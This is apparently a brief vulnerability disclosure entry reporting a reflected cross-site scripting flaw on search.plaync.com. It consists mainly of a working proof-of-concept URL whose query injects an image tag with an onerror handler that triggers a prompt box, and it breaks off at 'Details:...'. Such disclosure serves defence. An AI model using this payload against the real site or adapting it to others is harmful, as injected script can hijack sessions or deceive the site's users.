search.plaync.com XSS vulnerability

Vulnerable URL: http://search.plaync.com/lineage/main.jsp?query=%EB%A6%AC%EB%8B%88%EC%A7%80+%EA%B5%AD%EA%B0%80=%EB%A6%AC%EB%8B%88%EC%A7%80+%EA%B5%AD%EA%B0%80=l1web%5Etsearch=====n=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt%28/xssposed/%29%3E&fex1;=&fex2;=&fex3;=&fex4;==tab=== Details:...